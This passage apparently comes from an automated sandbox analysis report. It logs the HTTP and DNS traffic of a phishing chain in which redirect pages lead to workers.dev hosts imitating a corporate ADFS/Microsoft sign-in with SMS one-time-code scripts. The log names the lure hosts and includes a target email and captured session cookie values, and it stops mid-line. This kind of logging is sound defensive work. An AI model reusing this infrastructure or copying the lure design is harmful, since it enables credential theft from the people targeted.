Source: global traffic	HTTP traffic detected: GET /?username=joe.doe@jpmchase.net&sso_reload=true HTTP/1.1Host: 628jpkkq.nhubiubuniunuion.workers.devConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://628jpkkq.nhubiubuniunuion.workers.dev/?username=joe.doe@jpmchase.netAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: fpc=AmiLNG3jFw5GqHaWX1cnYkg; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-O7GWXMK9Yw=AQABCQEAAABVrSpeuWamRam2jAF1XRQE-F8SOtE4mA7goMUaNxnb5zysPPvc55qcI8h11pOPYrgi6C40JNaXlLN6tPBgfYlim_N0S1wOrR1mon1kcxsrl9TTEwQ5mHhSjFX8zfgYemG_d3Cnyvy6Lc0wAsgqDU9chDe-qK7Puc7rUOwudLGwdSAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEvqco4rb-D7YIcOaEnnO02AAZkqKnvpEr_R21SjGQxWEs0zRcf3-sCWcFcIlB410iEE7-_45nNACUVG-kPkCYwaMS-g351pmTU6XByNRo9rtekHvH7xUpUTJLogvND0EcUWpPa4J3SJ-iIn1clgRIngPYCzQ2Tk4E5w0nRn365KcgAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; ppnet_4651=!xWxa2t6Y0GLWHGlpoIMsdGtGtumJdzba1cw9/W8RGKInxCcN92C+4wBr5HyfTsXZA3bnrWLg0GSfVmA=
Source: global traffic	HTTP traffic detected: GET /adfs/portal/css/style.css?id=92FFAEA8C82FCBDF22311C649ADC37203D8FD788F7C28F248517BA0B0E55FABE HTTP/1.1Host: 628jpkkq.nhubiubuniunuion.workers.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://628jpkkq.nhubiubuniunuion.workers.dev/?username=joe.doe@jpmchase.net&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: fpc=AmiLNG3jFw5GqHaWX1cnYkg; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-O7GWXMK9Yw=AQABCQEAAABVrSpeuWamRam2jAF1XRQE-F8SOtE4mA7goMUaNxnb5zysPPvc55qcI8h11pOPYrgi6C40JNaXlLN6tPBgfYlim_N0S1wOrR1mon1kcxsrl9TTEwQ5mHhSjFX8zfgYemG_d3Cnyvy6Lc0wAsgqDU9chDe-qK7Puc7rUOwudLGwdSAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEvqco4rb-D7YIcOaEnnO02AAZkqKnvpEr_R21SjGQxWEs0zRcf3-sCWcFcIlB410iEE7-_45nNACUVG-kPkCYwaMS-g351pmTU6XByNRo9rtekHvH7xUpUTJLogvND0EcUWpPa4J3SJ-iIn1clgRIngPYCzQ2Tk4E5w0nRn365KcgAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; ppnet_4651=!bEODHZiC9QPzyzyDiSBkKpwwBeK93TnSa7ElfhFU3fUZ+2kVw2mm9D3vGUrWJ4z09MdW4YU9ECRav2c=
Source: global traffic	HTTP traffic detected: GET /adfs/fs/federationserverservice.asmx HTTP/1.1Host: 628jpkkq.nhubiubuniunuion.workers.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://628jpkkq.nhubiubuniunuion.workers.dev/?username=joe.doe@jpmchase.net&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: fpc=AmiLNG3jFw5GqHaWX1cnYkg; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-O7GWXMK9Yw=AQABCQEAAABVrSpeuWamRam2jAF1XRQE-F8SOtE4mA7goMUaNxnb5zysPPvc55qcI8h11pOPYrgi6C40JNaXlLN6tPBgfYlim_N0S1wOrR1mon1kcxsrl9TTEwQ5mHhSjFX8zfgYemG_d3Cnyvy6Lc0wAsgqDU9chDe-qK7Puc7rUOwudLGwdSAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEvqco4rb-D7YIcOaEnnO02AAZkqKnvpEr_R21SjGQxWEs0zRcf3-sCWcFcIlB410iEE7-_45nNACUVG-kPkCYwaMS-g351pmTU6XByNRo9rtekHvH7xUpUTJLogvND0EcUWpPa4J3SJ-iIn1clgRIngPYCzQ2Tk4E5w0nRn365KcgAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; ppnet_4651=!bEODHZiC9QPzyzyDiSBkKpwwBeK93TnSa7ElfhFU3fUZ+2kVw2mm9D3vGUrWJ4z09MdW4YU9ECRav2c=
Source: global traffic	HTTP traffic detected: GET /adfs/portal/script/mfaotpsms.js HTTP/1.1Host: 628jpkkq.nhubiubuniunuion.workers.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://628jpkkq.nhubiubuniunuion.workers.dev/?username=joe.doe@jpmchase.net&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: fpc=AmiLNG3jFw5GqHaWX1cnYkg; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-O7GWXMK9Yw=AQABCQEAAABVrSpeuWamRam2jAF1XRQE-F8SOtE4mA7goMUaNxnb5zysPPvc55qcI8h11pOPYrgi6C40JNaXlLN6tPBgfYlim_N0S1wOrR1mon1kcxsrl9TTEwQ5mHhSjFX8zfgYemG_d3Cnyvy6Lc0wAsgqDU9chDe-qK7Puc7rUOwudLGwdSAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEvqco4rb-D7YIcOaEnnO02AAZkqKnvpEr_R21SjGQxWEs0zRcf3-sCWcFcIlB410iEE7-_45nNACUVG-kPkCYwaMS-g351pmTU6XByNRo9rtekHvH7xUpUTJLogvND0EcUWpPa4J3SJ-iIn1clgRIngPYCzQ2Tk4E5w0nRn365KcgAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; ppnet_4651=!bEODHZiC9QPzyzyDiSBkKpwwBeK93TnSa7ElfhFU3fUZ+2kVw2mm9D3vGUrWJ4z09MdW4YU9ECRav2c=
Source: global traffic	HTTP traffic detected: GET /?username=joe.doe@jpmchase.net&sso_reload=true HTTP/1.1Host: 628jpkkq.nhubiubuniunuion.workers.devConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://628jpkkq.nhubiubuniunuion.workers.dev/?username=joe.doe@jpmchase.netAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: fpc=AmiLNG3jFw5GqHaWX1cnYkg; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-O7GWXMK9Yw=AQABCQEAAABVrSpeuWamRam2jAF1XRQE-F8SOtE4mA7goMUaNxnb5zysPPvc55qcI8h11pOPYrgi6C40JNaXlLN6tPBgfYlim_N0S1wOrR1mon1kcxsrl9TTEwQ5mHhSjFX8zfgYemG_d3Cnyvy6Lc0wAsgqDU9chDe-qK7Puc7rUOwudLGwdSAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEvqco4rb-D7YIcOaEnnO02AAZkqKnvpEr_R21SjGQxWEs0zRcf3-sCWcFcIlB410iEE7-_45nNACUVG-kPkCYwaMS-g351pmTU6XByNRo9rtekHvH7xUpUTJLogvND0EcUWpPa4J3SJ-iIn1clgRIngPYCzQ2Tk4E5w0nRn365KcgAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; ppnet_4651=!bEODHZiC9QPzyzyDiSBkKpwwBeK93TnSa7ElfhFU3fUZ+2kVw2mm9D3vGUrWJ4z09MdW4YU9ECRav2c=
Source: global traffic	HTTP traffic detected: GET /adfs/portal/css/style.css?id=92FFAEA8C82FCBDF22311C649ADC37203D8FD788F7C28F248517BA0B0E55FABE HTTP/1.1Host: 628jpkkq.nhubiubuniunuion.workers.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://628jpkkq.nhubiubuniunuion.workers.dev/?username=joe.doe@jpmchase.net&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: fpc=AmiLNG3jFw5GqHaWX1cnYkg; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-O7GWXMK9Yw=AQABCQEAAABVrSpeuWamRam2jAF1XRQE-F8SOtE4mA7goMUaNxnb5zysPPvc55qcI8h11pOPYrgi6C40JNaXlLN6tPBgfYlim_N0S1wOrR1mon1kcxsrl9TTEwQ5mHhSjFX8zfgYemG_d3Cnyvy6Lc0wAsgqDU9chDe-qK7Puc7rUOwudLGwdSAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEvqco4rb-D7YIcOaEnnO02AAZkqKnvpEr_R21SjGQxWEs0zRcf3-sCWcFcIlB410iEE7-_45nNACUVG-kPkCYwaMS-g351pmTU6XByNRo9rtekHvH7xUpUTJLogvND0EcUWpPa4J3SJ-iIn1clgRIngPYCzQ2Tk4E5w0nRn365KcgAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; ppnet_4651=!bEODHZiC9QPzyzyDiSBkKpwwBeK93TnSa7ElfhFU3fUZ+2kVw2mm9D3vGUrWJ4z09MdW4YU9ECRav2c=
Source: global traffic	HTTP traffic detected: GET /adfs/fs/federationserverservice.asmx HTTP/1.1Host: 628jpkkq.nhubiubuniunuion.workers.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://628jpkkq.nhubiubuniunuion.workers.dev/?username=joe.doe@jpmchase.net&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: fpc=AmiLNG3jFw5GqHaWX1cnYkg; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-O7GWXMK9Yw=AQABCQEAAABVrSpeuWamRam2jAF1XRQE-F8SOtE4mA7goMUaNxnb5zysPPvc55qcI8h11pOPYrgi6C40JNaXlLN6tPBgfYlim_N0S1wOrR1mon1kcxsrl9TTEwQ5mHhSjFX8zfgYemG_d3Cnyvy6Lc0wAsgqDU9chDe-qK7Puc7rUOwudLGwdSAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEvqco4rb-D7YIcOaEnnO02AAZkqKnvpEr_R21SjGQxWEs0zRcf3-sCWcFcIlB410iEE7-_45nNACUVG-kPkCYwaMS-g351pmTU6XByNRo9rtekHvH7xUpUTJLogvND0EcUWpPa4J3SJ-iIn1clgRIngPYCzQ2Tk4E5w0nRn365KcgAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; ppnet_4651=!bEODHZiC9QPzyzyDiSBkKpwwBeK93TnSa7ElfhFU3fUZ+2kVw2mm9D3vGUrWJ4z09MdW4YU9ECRav2c=
Source: global traffic	HTTP traffic detected: GET /adfs/portal/script/mfaotpsms.js HTTP/1.1Host: 628jpkkq.nhubiubuniunuion.workers.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://628jpkkq.nhubiubuniunuion.workers.dev/?username=joe.doe@jpmchase.net&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: fpc=AmiLNG3jFw5GqHaWX1cnYkg; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-O7GWXMK9Yw=AQABCQEAAABVrSpeuWamRam2jAF1XRQE-F8SOtE4mA7goMUaNxnb5zysPPvc55qcI8h11pOPYrgi6C40JNaXlLN6tPBgfYlim_N0S1wOrR1mon1kcxsrl9TTEwQ5mHhSjFX8zfgYemG_d3Cnyvy6Lc0wAsgqDU9chDe-qK7Puc7rUOwudLGwdSAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEvqco4rb-D7YIcOaEnnO02AAZkqKnvpEr_R21SjGQxWEs0zRcf3-sCWcFcIlB410iEE7-_45nNACUVG-kPkCYwaMS-g351pmTU6XByNRo9rtekHvH7xUpUTJLogvND0EcUWpPa4J3SJ-iIn1clgRIngPYCzQ2Tk4E5w0nRn365KcgAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; ppnet_4651=!bEODHZiC9QPzyzyDiSBkKpwwBeK93TnSa7ElfhFU3fUZ+2kVw2mm9D3vGUrWJ4z09MdW4YU9ECRav2c=

Source: chromecache_112.1.dr, chromecache_108.1.dr

String found in binary or memory: return f}AF.F="internal.enableAutoEventOnTimer";var Zb=wa(["data-gtm-yt-inspected-"]),CF=["www.youtube.com","www.youtube-nocookie.com"],DF,EF=!1; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: mailtrack.io
Source: global traffic	DNS traffic detected: DNS query: uk.content.exclaimer.net
Source: global traffic	DNS traffic detected: DNS query: net-sign.netlify.app
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: ez9jkw1oy6.execute-api.eu-central-1.amazonaws.com
Source: global traffic	DNS traffic detected: DNS query: temp-redirect-pagess.s3.eu-central-1.amazonaws.com
Source: global traffic	DNS traffic detected: DNS query: cdn.jsdelivr.net
Source: global traffic	DNS traffic detected: DNS query: picsum.photos
Source: global traffic	DNS traffic detected: DNS query: cstaticdun.126.net
Source: global traffic	DNS traffic detected: DNS query: fastly.picsum.photos
Source: global traffic	DNS traffic detected: DNS query: alot-eight.vercel.app
Source: global traffic	DNS traffic detected: DNS query: embeds.beehiiv.com
Source: global traffic	DNS traffic detected: DNS query: client.px-cloud.net
Source: global traffic	DNS traffic detected: DNS query: stk.px-cloud.net
Source: global traffic	DNS traffic detected: DNS query: collector-pxebumdlwe.px-cloud.net
Source: global traffic	DNS traffic detected: DNS query: appends.netlify.app
Source: global traffic	DNS traffic detected: DNS query: lucky-mud-238c.vencillrina33.workers.dev
Source: global traffic	DNS traffic detected: DNS query: b8d1a7c1.nhubiubuniunuion.workers.dev
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: example.com
Source: global traffic	DNS traffic detected: DNS query: 628jpkkq.nhubiubuniunuion.workers.dev
Source: global traffic	DNS traffic detected: DNS query: identity.nel.measure.office.net

Source: unknown

HTTP traffic detected: POST /api/redirect HTTP/1.1Host: alot-eight.vercel.appConnection: keep-aliveContent-Length: 0Cache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1Origin: https://temp-redirect-pagess.s3.eu-central-1.amazonaws.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://temp-redirect-pagess.s3.eu-central-1.amazonaws.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddenx-amz-request-id: 7S20SFJ7MM0E9H21x-amz-id-2: IA4lrK9h8EV1sHj4RS2wb7n6h/nyissVU50git78DMBwpNukP7//gAWpxzUo8yN9vW6XGzTuf3c=Content-Type: application/xmlTransfer-Encoding: chunkedDate: Thu, 06 Feb 2025 21:52:37 GMTServer: AmazonS3Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 06 Feb 2025 21:52:55 GMTContent-Type: application/jsonContent-Length: 48Connection: closeCF-Ray: 90de5eb89cae8c45-EWRCF-Cache-Status: DYNAMICSet-Cookie: _pxhd=41961b010370d94547e8e986b2de1ffaba94c3bf9bf2e786a12f7732a1afc8e1:b4bd43c9-e4d4-11ef-bf9a-1e4f7a051ae7; path=/; SameSite=LaxVary: OriginVia: 1.1 vegurNel: {"report_to":"heroku-nel","max_age":3600,"success_fraction":0.005,"failure_fraction":0.05,"response_headers":["Via"]}Report-To: {"group":"heroku-nel","max_age":3600,"endpoints":[{"url":"https://nel.heroku.com/reports?ts=1738878775&sid=c46efe9b-d3d2-4a0c-8c76-bfafa16c5add&s=xT%2BSPnN0YXukPZ%2B5fnhqtEpCFH%2FlJ0JaWqOH26%2FbTVY%3D"}]}Reporting-Endpoints: heroku-nel=https://nel.heroku.com/reports?ts=1738878775&sid=c46efe9b-d3d2-4a0c-8c76-bfafa16c5add&s=xT%2BSPnN0YXukPZ%2B5fnhqtEpCFH%2FlJ0JaWqOH26%2FbTVY%3DX-Content-Type-Options: nosniffServer: cloudflare
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 06 Feb 2025 21:53:24 GMTContent-Type: text/plain;charset=UTF-8Content-Length: 0Connection: closeCF-Ray: 90de5f69ee02e613-IADCF-Cache-Status: BYPASSAccess-Control-Allow-Origin: *Cache-Control: privateSet-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponlyStrict-Transport-Security: max-age=31536000; includeSubDomainsVary: Accept-Encodingaccess-control-allow-credentials: truenel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}p3p: CP="DSP CUR OTPi IND OTRi ONL FIN"referrer-policy: strict-origin-when-cross-originreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+wst"}]}Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponlyx-content-type-options: nosniffx-ms-ests-server: 2.1.19962.7 - EUS ProdSlicesx-ms-request-id: e4bef862-71ed-46e3-bc75-ab7a29e56300x-ms-srs: 1.Px-xss-protection: 0Server: cloudflarealt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=8581&min_rtt=8549&rtt_var=3229&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2874&recv_bytes=1787&delivery_rate=341560&cwnd=32&unsent_bytes=0&cid=0122aa50c83c9c6d&ts=3453&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 06 Feb 2025 21:53:28 GMTContent-Type: text/plain;charset=UTF-8Content-Length: 0Connection: closeCF-Ray: 90de5f847918e614-IADCF-Cache-Status: BYPASSAccess-Control-Allow-Origin: *Cache-Control: privateSet-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponlyStrict-Transport-Security: max-age=31536000; includeSubDomainsVary: Accept-Encodingaccess-control-allow-credentials: truenel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}p3p: CP="DSP CUR OTPi IND OTRi ONL FIN"referrer-policy: strict-origin-when-cross-originreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+est"}]}Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponlyx-content-type-options: nosniffx-ms-ests-server: 2.1.20003.8 - NCUS ProdSlicesx-ms-request-id: eef66cbd-de30-40ea-9294-ef3f14c51500x-ms-srs: 1.Px-xss-protection: 0Server: cloudflarealt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=8183&min_rtt=8175&rtt_var=3082&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2875&recv_bytes=1933&delivery_rate=354368&cwnd=32&unsent_bytes=0&cid=a7a6e64b65c37df5&ts=519&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 06 Feb 2025 21:53:30 GMTContent-Type: text/plain;charset=UTF-8Content-Length: 0Connection: closeCF-Ray: 90de5f8d8bb6e5f3-IADCF-Cache-Status: DYNAMICAccess-Control-Allow-Origin: *Cache-Control: privateSet-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponlyStrict-Transport-Security: max-age=31536000; includeSubDomainsaccess-control-allow-credentials: truenel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}p3p: CP="DSP CUR OTPi IND OTRi ONL FIN"referrer-policy: strict-origin-when-cross-originreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+est"}]}Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponlyx-content-type-options: nosniffx-ms-ests-server: 2.1.19962.7 - SCUS ProdSlicesx-ms-request-id: a527e110-be04-402a-885e-d5e232174900x-ms-srs: 1.Px-xss-protection: 0Server: cloudflarealt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=7532&min_rtt=7513&rtt_var=2856&sent=4&recv=5&lost=0&retrans=0&sent_bytes=2874&recv_bytes=1858&delivery_rate=380803&cwnd=32&unsent_bytes=0&cid=b6c4633100a8e7c4&ts=1005&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 06 Feb 2025 21:53:30 GMTContent-Type: text/plain;charset=UTF-8Content-Length: 0Connection: closeCF-Ray: 90de5f8dcedeefa5-EWRCF-Cache-Status: BYPASSAccess-Control-Allow-Origin: *Cache-Control: privateSet-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponlyStrict-Transport-Security: max-age=31536000; includeSubDomainsVary: Accept-Encodingaccess-control-allow-credentials: truenel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}p3p: CP="DSP CUR OTPi IND OTRi ONL FIN"referrer-policy: strict-origin-when-cross-originreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+bno"}]}Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponlyx-content-type-options: nosniffx-ms-ests-server: 2.1.19962.7 - EUS ProdSlicesx-ms-request-id: 66ea2d3b-0c9d-4bd5-8fb0-9150f7886f00x-ms-srs: 1.Px-xss-protection: 0Server: cloudflarealt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2006&min_rtt=1978&rtt_var=798&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2875&recv_bytes=1857&delivery_rate=1324863&cwnd=216&unsent_bytes=0&cid=f9d7588e18c060b3&ts=1073&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 06 Feb 2025 21:53:40 GMTContent-Type: text/plain;charset=UTF-8Content-Length: 0Connection: closeCF-Ray: 90de5fd46f02e623-IADCF-Cache-Status: BYPASSAccess-Control-Allow-Origin: *Cache-Control: privateSet-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponlyStrict-Transport-Security: max-age=31536000; includeSubDomainsVary: Accept-Encodingaccess-control-allow-credentials: truenel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}p3p: CP="DSP CUR OTPi IND OTRi ONL FIN"referrer-policy: strict-origin-when-cross-originreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+est"}]}Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponlyx-content-type-options: nosniffx-ms-ests-server: 2.1.20003.8 - SCUS ProdSlicesx-ms-request-id: 48edea68-4973-4fb3-86c3-64b819671900x-ms-srs: 1.Px-xss-protection: 0Server: cloudflarealt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=7031&min_rtt=7025&rtt_var=2648&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2875&recv_bytes=1933&delivery_rate=412429&cwnd=32&unsent_bytes=0&cid=8f5cdad983386d54&ts=2519&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 06 Feb 2025 21:53:42 GMTContent-Type: text/plain;charset=UTF-8Content-Length: 0Connection: closeCF-Ray: 90de5fdda907e631-IADCF-Cache-Status: BYPASSAccess-Control-Allow-Origin: *Cache-Control: privateSet-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponlyStrict-Transport-Security: max-age=31536000; includeSubDomainsVary: Accept-Encodingaccess-control-allow-credentials: truenel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}p3p: CP="DSP CUR OTPi IND OTRi ONL FIN"referrer-policy: strict-origin-when-cross-originreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+est"}]}Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponlyx-content-type-options: nosniffx-ms-ests-server: 2.1.19962.7 - SCUS ProdSlicesx-ms-request-id: 2cfbd46c-47b7-4d20-9829-cc8226213a00x-ms-srs: 1.Px-xss-protection: 0Server: cloudflarealt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=7730&min_rtt=7725&rtt_var=2907&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2876&recv_bytes=1857&delivery_rate=375901&cwnd=32&unsent_bytes=0&cid=d0248aecc3205c2a&ts=530&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 06 Feb 2025 21:53:43 GMTContent-Type: text/plain;charset=UTF-8Content-Length: 0Connection: closeCF-Ray: 90de5fdd88cf057c-IADCF-Cache-Status: DYNAMICAccess-Control-Allow-Origin: *Cache-Control: privateSet-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponlyStrict-Transport-Security: max-age=31536000; includeSubDomainsaccess-control-allow-credentials: truenel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}p3p: CP="DSP CUR OTPi IND OTRi ONL FIN"referrer-policy: strict-origin-when-cross-originreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+wst"}]}Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponlyx-content-type-options: nosniffx-ms-ests-server: 2.1.19962.7 - EUS ProdSlicesx-ms-request-id: 835ae524-5915-445b-816f-531a260f7a01x-ms-srs: 1.Px-xss-protection: 0Server: 